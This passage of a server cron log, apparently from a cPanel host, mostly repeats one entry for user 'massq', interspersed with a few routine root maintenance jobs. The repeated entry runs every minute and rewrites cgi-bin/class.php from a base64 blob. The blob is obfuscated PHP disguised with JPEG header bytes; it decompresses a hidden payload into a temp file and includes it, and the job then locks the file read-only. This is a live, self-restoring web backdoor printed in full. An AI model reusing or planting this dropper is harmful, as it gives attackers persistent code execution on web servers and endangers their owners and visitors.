mLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:28:01 server CROND[28369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:29:01 server CROND[28409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:30:01 server CROND[28454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:30:01 server CROND[28455]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:30:01 server CROND[28456]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 23:30:01 server CROND[28458]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:31:01 server CROND[28657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:32:01 server CROND[28712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:33:01 server CROND[28753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:34:01 server CROND[28802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:35:01 server CROND[28861]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 23:35:01 server CROND[28862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:35:01 server CROND[28865]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:35:01 server CROND[28868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:35:01 server CROND[28867]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 23:36:01 server CROND[29079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:37:01 server CROND[29131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:38:01 server CROND[29174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:39:01 server CROND[29222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:39:01 server CROND[29223]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 23:40:01 server CROND[29279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 23:40:01 server CROND[29280]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 23:40:01 server CROND[29281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 23:40:01 server CROND[29282]: (root) CMD (/usr/lib64/sa/sa1 1 1)
